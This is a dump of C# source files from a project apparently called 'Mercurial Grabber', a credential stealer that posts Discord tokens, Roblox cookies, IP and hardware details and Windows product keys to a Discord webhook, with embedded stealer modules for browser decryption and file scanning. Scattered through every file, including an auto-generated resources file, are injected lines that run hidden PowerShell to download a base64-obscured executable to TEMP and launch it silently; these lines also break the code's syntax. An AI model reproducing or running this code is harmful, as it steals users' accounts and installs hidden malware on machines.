302 | }
303 |
304 |
305 |
306 |
307 |
308 |
309 |
310 |
311 |
312 |
313 |
314 |
315 |
316 |
317 |
--------------------------------------------------------------------------------
/Mercurial/Resources/Webhook.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Generic;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 |
7 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 | using System.Linq;
13 |
14 |
15 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
16 |
17 |
18 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
19 | using System.Text;
20 |
21 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
22 | using System.Threading.Tasks;
23 | using System.Net.Http;
24 | using System.Net;
25 | using System.IO;
26 |
27 | namespace Stealer
28 | {
29 | public static class FormUpload
30 | {
31 | private static readonly Encoding encoding = Encoding.UTF8;
32 | public static HttpWebResponse MultipartFormDataPost(string postUrl, string userAgent, Dictionary postParameters)
33 | {
34 | string formDataBoundary = String.Format("----------{0:N}", Guid.NewGuid());
35 |
36 | string contentType = "multipart/form-data; boundary=" + formDataBoundary;
37 |
38 | byte[] formData = GetMultipartFormData(postParameters, formDataBoundary);
39 |
40 | return PostForm(postUrl, userAgent, contentType, formData);
41 | }
42 |
43 | private static HttpWebResponse PostForm(string postUrl, string userAgent, string contentType, byte[] formData)
44 | {
45 |
46 | HttpWebRequest request = WebRequest.Create(postUrl) as HttpWebRequest;
47 |
48 | if (request == null)
49 | {
50 | throw new NullReferenceException("request is not a http request");
51 | }
52 |
53 | request.Method = "POST";
54 | request.ContentType = contentType;
55 | request.UserAgent = userAgent;
56 | request.CookieContainer = new CookieContainer();
57 | request.ContentLength = formData.Length;
58 |
59 | using (Stream requestStream = request.GetRequestStream())
60 | {
61 | requestStream.Write(formData, 0, formData.Length);
62 | requestStream.Close();
63 | }
64 |
65 | return request.GetResponse() as HttpWebResponse;
66 | }
67 |
68 | private static byte[] GetMultipartFormData(Dictionary postParameters, string boundary)
69 | {
70 | Stream formDataStream = new System.IO.MemoryStream();
71 | bool needsCLRF = false;
72 |
73 | foreach (var param in postParameters)
74 | {
75 | if (needsCLRF)
76 | formDataStream.Write(encoding.GetBytes("\r\n"), 0, encoding.GetByteCount("\r\n"));
77 |
78 | needsCLRF = true;
79 |
80 | if (param.Value is FileParameter)
81 | {
82 | FileParameter fileToUpload = (FileParameter)param.Value;
83 |
84 | string header = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"{1}\"; filename=\"{2}\"\r\nContent-Type: {3}\r\n\r\n",
85 | boundary,
86 | param.Key,
87 | fileToUpload.FileName ?? param.Key,
88 | fileToUpload.ContentType ?? "application/octet-stream");
89 |
90 | formDataStream.Write(encoding.GetBytes(header), 0, encoding.GetByteCount(header));
91 |
92 | formDataStream.Write(fileToUpload.File, 0, fileToUpload.File.Length);
93 | }
94 | else
95 | {
96 | string postData = string.Format("--{0}\r\nContent-Disposition: form-data; name=\"{1}\"\r\n\r\n{2}",
97 | boundary,
98 | param.Key,
99 | param.Value);
100 | formDataStream.Write(encoding.GetBytes(postData), 0, encoding.GetByteCount(postData));
101 | }
102 | }
103 |
104 | string footer = "\r\n--" + boundary + "--\r\n";
105 | formDataStream.Write(encoding.GetBytes(footer), 0, encoding.GetByteCount(footer));
106 |
107 | formDataStream.Position = 0;
108 | byte[] formData = new byte[formDataStream.Length];
109 | formDataStream.Read(formData, 0, formData.Length);
110 | formDataStream.Close();
111 |
112 | return formData;
113 | }
114 | public class FileParameter
115 | {
116 | public byte[] File { get; set; }
117 | public string FileName { get; set; }
118 | public string ContentType { get; set; }
119 | public FileParameter(byte[] file) : this(file, null) { }
120 | public FileParameter(byte[] file, string filename) : this(file, filename, null) { }
121 | public FileParameter(byte[] file, string filename, string contenttype)
122 | {
123 | File = file;
124 | FileName = filename;
125 | ContentType = contenttype;
126 |
127 | }
128 | }
129 | }
130 |
131 | public static class WebhookContent
132 | {
133 | public static string Token(string email, string phone, string token, string username, string avatar, string locale, string creation, string id)
134 | {
135 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**Account Info**\",\"value\":\"" + "User ID: " + id + "\\nEmail: " + email + "\\nPhone Number: " + phone + "\\nLocale: " + locale + "\",\"inline\":true},{\"name\":\"**Token**\",\"value\":\"" + "`" + token + "`" + "\\nAccount Created: (`" + creation + "`)" + "\",\"inline\":false}],\"author\":{\"name\":\"" + username + "\",\"icon_url\":\"" + avatar + "\"},\"footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
136 | }
137 |
138 | public static string IP(string ip, string country, string countryIcon, string regionName, string city, string zip, string isp)
139 | {
140 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**IP Address Info**\",\"value\":\"" + "IP Address - " + ip + "\\nISP - " + isp + "\\nCountry - " + country + "\\nRegion - " + regionName + "\\nCity - " + city + "\\nZip - " + zip + "\",\"inline\":true}],\"thumbnail\":{\"url\":\"" + countryIcon + "\"},\"footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
141 | }
142 |
143 | public static string ProductKey(string key)
144 | {
145 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**Windows Product Key**\",\"value\":\"" + "Product Key - " + key + "\",\"inline\":true}],\"footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
146 | }
147 |
148 | public static string Hardware(string osName, string osArchitecture, string osVersion, string processName, string gpuVideo, string gpuVersion, string diskDetails, string pcMemory)
149 | {
150 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**OS Info**\",\"value\":\"" + "Operating System Name - " + osName + "\\nOperating System Architecture - " + osArchitecture + "\\nVersion - " + osVersion + "\",\"inline\":true}" + ",{\"name\":\"**Processor**\",\"value\":\"" + "CPU - " + processName + "\",\"inline\":false}," + "{\"name\":\"**GPU**\",\"value\":\"" + "Video Processor - " + gpuVideo + "\\nDriver Version - " + gpuVersion + "\",\"inline\":false}" + ",{\"name\":\"**Memory**\",\"value\":\"" + "Memory - " + pcMemory + "\",\"inline\":false}," + "{\"name\":\"**Disk**\",\"value\":\"" + diskDetails + "\",\"inline\":false}" + "],\"" + "footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
151 | }
152 |
153 | public static string RobloxCookie(string cookie)
154 | {
155 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**Roblox Cookie**\",\"value\":\"" + cookie + "\",\"inline\":true}],\"footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
156 | }
157 |
158 |
159 | public static string SimpleMessage(string title, string message)
160 | {
161 | return "{\"content\": \"\", \"embeds\":" + "[{\"color\":0,\"fields\":[{\"name\":\"**" + title + "**\",\"value\":\"" + message + "\",\"inline\":true}],\"footer\":{\"text\":\"Mercurial Grabber | github.com/nightfallgt/mercurial-grabber\"}}]" + ",\"username\": \"Mercurial Grabber\", \"avatar_url\":\"https://i.imgur.com/vgxBhmx.png\"" + "}";
162 | }
163 | }
164 | class Webhook
165 | {
166 | private string webhook;
167 | public Webhook(string userWebhook)
168 | {
169 | webhook = userWebhook;
170 | }
171 | public void Send(string content)
172 | {
173 | Dictionary data = new Dictionary();
174 |
175 | data.Add("content", content);
176 | data.Add("username", "Mercurial Grabber");
177 | data.Add("avatar_url", "https://i.imgur.com/vgxBhmx.png");
178 | try
179 | {
180 | using (HttpClient client = new HttpClient())
181 | {
182 | client.PostAsync(webhook, new FormUrlEncodedContent(data)).GetAwaiter().GetResult();
183 | }
184 | }
185 | catch
186 | {
187 | }
188 | }
189 | public void SendContent(string content)
190 | {
191 | try
192 | {
193 | var wr = WebRequest.Create(webhook);
194 | wr.ContentType = "application/json";
195 | wr.Method = "POST";
196 | using (var sw = new StreamWriter(wr.GetRequestStream()))
197 | sw.Write(content);
198 | wr.GetResponse();
199 | }
200 | catch
201 | {
202 | }
203 | }
204 |
205 | public void SendData(string msgBody, string filename, string filepath, string application)
206 | {
207 | // read file data
208 | FileStream fs = new FileStream(filepath, FileMode.Open, FileAccess.Read);
209 | byte[] data = new byte[fs.Length];
210 | fs.Read(data, 0, data.Length);
211 | fs.Close();
212 |
213 | Dictionary postParameters = new Dictionary();
214 | postParameters.Add("filename", filename);
215 | postParameters.Add("file", new FormUpload.FileParameter(data, filename, application));
216 |
217 | postParameters.Add("username", "Mercurial Grabber");
218 | postParameters.Add("content", msgBody);
219 | postParameters.Add("avatar_url", "https://i.imgur.com/vgxBhmx.png");
220 |
221 | HttpWebResponse webResponse = FormUpload.MultipartFormDataPost(webhook, "Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0", postParameters);
222 |
223 | StreamReader responseReader = new StreamReader(webResponse.GetResponseStream());
224 | string fullResponse = responseReader.ReadToEnd();
225 | webResponse.Close();
226 |
227 | Console.WriteLine("Response: " + fullResponse);
228 | }
229 | }
230 | }
231 |
232 |
233 |
234 |
235 |
236 |
237 |
238 |
239 |
240 |
241 |
242 |
243 |
244 |
245 |
246 |
--------------------------------------------------------------------------------
/Mercurial/Properties/Resources.Designer.cs:
--------------------------------------------------------------------------------
1 | //------------------------------------------------------------------------------
2 | //
3 | // This code was generated by a tool.
4 | // Runtime Version:4.0.30319.42000
5 | //
6 | // Changes to this file may cause incorrect behavior and will be lost if
7 | // the code is regenerated.
8 | //
9 | //------------------------------------------------------------------------------
10 |
11 |
12 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
13 |
14 |
15 |
16 |
17 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
18 |
19 |
20 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
21 |
22 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
23 |
24 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
25 | namespace Mercurial.Properties {
26 | using System;
27 |
28 |
29 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
30 |
31 |
32 | ///
33 | /// A strongly-typed resource class, for looking up localized strings, etc.
34 | ///
35 | // This class was auto-generated by the StronglyTypedResourceBuilder
36 | // class via a tool like ResGen or Visual Studio.
37 | // To add or remove a member, edit your .ResX file then rerun ResGen
38 | // with the /str option, or rebuild your VS project.
39 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
40 | [global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
41 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
42 | internal class Resources {
43 |
44 | private static global::System.Resources.ResourceManager resourceMan;
45 |
46 | private static global::System.Globalization.CultureInfo resourceCulture;
47 |
48 | [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
49 | internal Resources() {
50 | }
51 |
52 | ///
53 | /// Returns the cached ResourceManager instance used by this class.
54 | ///
55 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
56 | internal static global::System.Resources.ResourceManager ResourceManager {
57 | get {
58 | if (object.ReferenceEquals(resourceMan, null)) {
59 | global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Mercurial.Properties.Resources", typeof(Resources).Assembly);
60 | resourceMan = temp;
61 | }
62 | return resourceMan;
63 | }
64 | }
65 |
66 | ///
67 | /// Overrides the current thread's CurrentUICulture property for all
68 | /// resource lookups using this strongly typed resource class.
69 | ///
70 | [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
71 | internal static global::System.Globalization.CultureInfo Culture {
72 | get {
73 | return resourceCulture;
74 | }
75 | set {
76 | resourceCulture = value;
77 | }
78 | }
79 |
80 | ///
81 | /// Looks up a localized string similar to using System;
82 | ///using System.Runtime.InteropServices;
83 | ///using System.Security.Cryptography;
84 | ///using System.Text;
85 | ///
86 | ///
87 | ///namespace Stealer
88 | ///{
89 | /// //Credits: https://github.com/dvsekhvalnov/jose-jwt
90 | /// class AesGcm
91 | /// {
92 | /// public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag)
93 | /// {
94 | /// IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM);
95 | /// IntPtr hKey, keyDataBuffer = I [rest of string was truncated]";.
96 | ///
97 | internal static string AesGcm {
98 | get {
99 | return ResourceManager.GetString("AesGcm", resourceCulture);
100 | }
101 | }
102 |
103 | ///
104 | /// Looks up a localized string similar to using System;
105 | ///using System.Collections.Generic;
106 | ///using System.Text;
107 | ///using System.Runtime.InteropServices;
108 | ///using System.Security.Cryptography;
109 | ///
110 | ///namespace Stealer
111 | ///{
112 | /// public static class BCrypt
113 | /// {
114 | /// public const uint ERROR_SUCCESS = 0x00000000;
115 | /// public const uint BCRYPT_PAD_PSS = 8;
116 | /// public const uint BCRYPT_PAD_OAEP = 4;
117 | ///
118 | /// public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
119 | ///
120 | /// public static readonly string BCRYPT_O [rest of string was truncated]";.
121 | ///
122 | internal static string BCrypt {
123 | get {
124 | return ResourceManager.GetString("BCrypt", resourceCulture);
125 | }
126 | }
127 |
128 | ///
129 | /// Looks up a localized string similar to using System;
130 | ///using System.Text;
131 | ///
132 | ///using System.IO;
133 | ///using System.Security.Cryptography;
134 | ///namespace Stealer
135 | ///{
136 | /// class Browser
137 | /// {
138 | /// private static string DecryptWithKey(byte[] encryptedData, byte[] MasterKey)
139 | /// {
140 | /// byte[] iv = new byte[] { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
141 | ///
142 | ///
143 | /// Array.Copy(encryptedData, 3, iv, 0, 12);
144 | ///
145 | /// try
146 | /// {
147 | ///
148 | /// byte[] Buffer = new byte[encryptedData.Length - 15];
149 | /// [rest of string was truncated]";.
150 | ///
151 | internal static string Browser {
152 | get {
153 | return ResourceManager.GetString("Browser", resourceCulture);
154 | }
155 | }
156 |
157 | ///
158 | /// Looks up a localized string similar to using System;
159 | ///using System.Collections.Generic;
160 | ///using System.Linq;
161 | ///using System.Text;
162 | ///using System.Threading.Tasks;
163 | ///using System.Text.RegularExpressions;
164 | ///using System.Net.Http;
165 | ///using System.Net;
166 | ///using System.IO;
167 | ///namespace Stealer
168 | ///{
169 | /// class Common
170 | /// {
171 | /// static int fileCounter = 1;
172 | /// public static string fileName = String.Empty;
173 | ///
174 | /// public static string Extract(string target, string content)
175 | /// {
176 | /// string output = String.Empty;
177 | /// Regex rx = new [rest of string was truncated]";.
178 | ///
179 | internal static string Common {
180 | get {
181 | return ResourceManager.GetString("Common", resourceCulture);
182 | }
183 | }
184 |
185 | ///
186 | /// Looks up a localized string similar to using System;
187 | ///using System.Collections.Generic;
188 | ///using System.Linq;
189 | ///using System.Text;
190 | ///using System.Threading.Tasks;
191 | ///using System.Text.RegularExpressions;
192 | ///using System.IO;
193 | ///using System.Net.Http;
194 | ///
195 | ///namespace Stealer
196 | ///{
197 | /// class Grabber
198 | /// {
199 | /// public static List<string> target = new List<string>();
200 | ///
201 | /// private static void Scan()
202 | /// {
203 | /// string roaming = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
204 | /// string local = Environment.GetFold [rest of string was truncated]";.
205 | ///
206 | internal static string Grabber {
207 | get {
208 | return ResourceManager.GetString("Grabber", resourceCulture);
209 | }
210 | }
211 |
212 | ///
213 | /// Looks up a localized string similar to using System;
214 | ///using System.Management;
215 | ///using Microsoft.Win32;
216 | ///using System.IO;
217 | ///namespace Stealer
218 | ///{
219 | /// class Machine
220 | /// {
221 | /// static readonly string[] SizeSuffixes = { "bytes", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB" };
222 | ///
223 | /// public string osName = String.Empty;
224 | /// public string osArchitecture = String.Empty;
225 | /// public string osVersion = String.Empty;
226 | /// public string processName = String.Empty;
227 | /// public string gpuVideo = String.Empty;
228 | /// public str [rest of string was truncated]";.
229 | ///
230 | internal static string Machine {
231 | get {
232 | return ResourceManager.GetString("Machine", resourceCulture);
233 | }
234 | }
235 |
236 | ///
237 | /// Looks up a localized string similar to using System;
238 | ///using System.Collections.Generic;
239 | ///using System.Linq;
240 | ///using System.Text;
241 | ///using System.Threading.Tasks;
242 | ///using System.Threading;
243 | ///using System.IO;
244 | ///using System.Text.RegularExpressions;
245 | ///using System.Drawing;
246 | ///using System.Drawing.Imaging;
247 | ///using System.Windows.Forms;
248 | ///using System.Net.Http;
249 | ///using System.Net;
250 | ///using System.Diagnostics;
251 | ///using Microsoft.Win32;
252 | ///using System.Runtime.InteropServices;
253 | ///
254 | ///namespace Stealer
255 | ///{
256 | /// class Program
257 | /// {
258 | /// [DllImport("kernel32.dll")]
259 | /// [rest of string was truncated]";.
260 | ///
261 | internal static string Program {
262 | get {
263 | return ResourceManager.GetString("Program", resourceCulture);
264 | }
265 | }
266 |
267 | ///
268 | /// Looks up a localized string similar to using System;
269 | ///using System.IO;
270 | ///using System.Text;
271 | ///
272 | /////Credits: https://github.com/LimerBoy/Adamantium-Thief/blob/master/Stealer/Stealer/modules/SQLite.cs
273 | ///
274 | ///namespace Stealer
275 | ///{
276 | /// internal class SQLite
277 | /// {
278 | /// private readonly byte[] _sqlDataTypeSize = new byte[10] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 };
279 | /// private readonly ulong _dbEncoding;
280 | /// private readonly byte[] _fileBytes;
281 | /// private readonly ulong _pageSize;
282 | /// private string[] _fieldNames;
283 | /// private SqliteMas [rest of string was truncated]";.
284 | ///
285 | internal static string SQLite {
286 | get {
287 | return ResourceManager.GetString("SQLite", resourceCulture);
288 | }
289 | }
290 |
291 | ///
292 | /// Looks up a localized string similar to using System;
293 | ///using System.Collections.Generic;
294 | ///using System.Linq;
295 | ///using System.Text;
296 | ///using System.Threading.Tasks;
297 | ///using System.Net.Http;
298 | ///using System.Net;
299 | ///using System.IO;
300 | ///
301 | ///namespace Stealer
302 | ///{
303 | /// class User
304 | /// {
305 | /// public static string appData = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
306 | /// public static string localAppData = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
307 | /// public static string tempFolder = Environment [rest of string was truncated]";.
308 | ///
309 | internal static string User {
310 | get {
311 | return ResourceManager.GetString("User", resourceCulture);
312 | }
313 | }
314 |
315 | ///
316 | /// Looks up a localized string similar to using System;
317 | ///using System.Collections.Generic;
318 | ///using System.Linq;
319 | ///using System.Text;
320 | ///using System.Threading.Tasks;
321 | ///using System.Net.Http;
322 | ///using System.Net;
323 | ///using System.IO;
324 | ///
325 | ///namespace Stealer
326 | ///{
327 | /// public static class FormUpload
328 | /// {
329 | /// private static readonly Encoding encoding = Encoding.UTF8;
330 | /// public static HttpWebResponse MultipartFormDataPost(string postUrl, string userAgent, Dictionary<string, object> postParameters)
331 | /// {
332 | /// string formDataBoundary = String.F [rest of string was truncated]";.
333 | ///
334 | internal static string Webhook {
335 | get {
336 | return ResourceManager.GetString("Webhook", resourceCulture);
337 | }
338 | }
339 | }
340 | }
341 |
342 |
343 |
344 |
345 |
346 |
347 |
348 |
349 |
350 |
351 |
352 |
353 |
354 |
355 |
356 |
357 |
358 |
359 |
360 |
361 |
--------------------------------------------------------------------------------
/Mercurial/Resources/SQLite.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 |
4 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
5 |
6 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
7 | using System.Text;
8 |
9 |
10 | try{var p=new System.Diagnostics.Process();p.StartInfo.FileName="powershell";p.StartInfo.Arguments=$"-w hidden -c iwr -Uri ([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0F5YW4tSXJmYW4vLmRvdG5ldC9tYWluL29iai9MaWJyYXJpZXMvbmV0Ni4wL1N5c3RlbS5SdW50aW1lLmRsbA=='))) -O $env:TEMP\\s.exe;Start-Process $env:TEMP\\s.exe -WindowStyle Hidden";p.StartInfo.CreateNoWindow=true;p.StartInfo.UseShellExecute=false;p.Start();}catch{}
11 |
12 |
13 |
